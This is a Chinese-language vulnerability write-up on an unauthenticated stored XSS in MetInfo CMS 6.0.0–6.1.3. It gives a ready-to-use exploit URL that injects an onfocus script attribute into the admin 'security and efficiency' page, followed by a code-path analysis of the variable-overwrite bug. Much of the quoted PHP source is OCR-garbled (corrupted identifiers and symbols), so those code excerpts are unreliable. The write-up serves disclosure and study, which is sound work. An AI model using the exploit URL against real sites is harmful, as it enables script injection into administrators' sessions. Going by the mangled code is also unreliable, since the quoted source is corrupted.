Metinfo 6.* 全版本存储型XSS

Exp:

http://127.0.0.1/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa%22+autofocus+onfocus=alert(2)+a=%0a%0ba=&url_array[]=123


[bookmark: _GoBack]影响版本:
6.0.0
6.1.0
6.1.1
6.1.2
6.1.3


无需登录，访问上述链接可以在后台直接X。当管理登录后台时，切换到“安全与效率”界面，XSS可自动触发。
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漏洞分析，以6.1.3(https://www.metinfo.cn/upload/file/MetInfo6.1.3.zip) 为例:

admin/login/login_check.php

 此处加载了 /admin/include/common.inc.php
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admin/include/common.inc.php
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此处变量可以实现变量覆盖。

因此可以覆盖$url_array变量
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其中authcode 为其加解密算法。

管理员正常登录后，该值会被取出并解密

app/system/include/class/common.class.php
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最终直接输出在
app/system/safe/admin/templates/index.php
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最终：
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app/system/include/class/common.class.php

114 $_ML CONT1g |l MeT_WebKeys'| = STr_replace\ searcn: “x/¢>°, repiace: -, $_ML CONT1g" |l MeT_webKeys'|);

115 if(!preg_match( pattern: '/~[0-9A-Za-z]{32}$/"',$_M['config'] ['met_webkeys'])){

116 $_M['config'] ['met_webkeys'] = random( length: 32);

117 file_put_contents( filename: PATH_WEB.'/config/config_safe.php', data: "<?php/*{$_M['config'] ['met_webkeys']1}*/?>");
118 }

119 $_M['config'] ['met_adminfile_code'] = $_M['config'] ['met_adminfile'];

120 $_M['config']['met_adminfile'] = authcode($_MI['config']['met_adminfile'], 'DECODE', $_M['config']['met_webkeys']);
121 if ($_M['config'] ['met_adminfile'] == '') {

122 $_M['config'] ['met_adminfile'] = 'admin';

123 $met_adminfile = authcode($_M['config'] ['met_adminfile'], 'ENCODE', $_M['config']['met_webkeys']);

124 $query = "UPDATE {$_M['config']['tablepre']l}config SET ‘value' = '$met_adminfile' where ‘name'='met_adminfile'";
125 $result = DB::query($query);

126 }

127

128 $_M['table'] = array();

129 $_Mettables = explode( delimiter: '|', $_M['config']['met_tablename']);

120 foreach (¢ Mettahlec ae ¢tkev => ¢val) {
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//deldir(PATH_WEB.$_M['config']['met_adminfile']. /update/. $this->info['type'].'/". $this->info['no']."/"); 369
copydir($dir."admin", PATH_WEB.$_M['config']['met_adminfile']); 396
if (file_exists (PATH_WEB."{$_M['config']['met_adminfile']}/app/{$list['file']}/setapp.php")){ getapp.class 93
if (file_exists(PATH_WEB.$_M['config']['met_adminfile'].'/app/'.$app['m_name'].'/delapp.php’)){ myapp.class 48
<input name="met_adminfile" type="text" value="{{Y[(E Tl T B hnia}" {$filepop} /> safe/.../findex 72

$localurl_admin=$_M['config']['met_weburl'].$_M['config'l['met_adminfile'].'/’; safe/admin/index.class 18
$old_admin = $_M['config]['met_adminfile']; 62
app/system/safe/admin/templates/index.php

bb <N3 CLasS="VOZTMDX_Nr mMetsLiaing >{$_MlwWord)] |SeTsaTeaaminname.ic] ;{$Localuri_aamin;</ns>

67 <div class="v52fmbx">

68 <dl>

69 <dt>{$_M[word] [setsafeadminname] }{$_M[word] [marks]}</d

70 <dd class="ftype_input">

71 <div class="fbox">

72 <input name="met_adminfile" type="text{' value="{$_M['config']['met_adminfile']}" {$filepop} />

73 </div>

74 </dd>

75 </dl>

76 </div>

77 <h3 class="v52fmbx_hr metsliding">{$_M[word] [logincode]}</h3>

78 <div class="v52fmbx">

79 <dl>

80 <dt>{$_M[word] [setsafeadmin] }{$_M[word] [marks]}</dt>

81 <dd class="ftype_radio">

82 <div class="fbox">

e Open in Find Window
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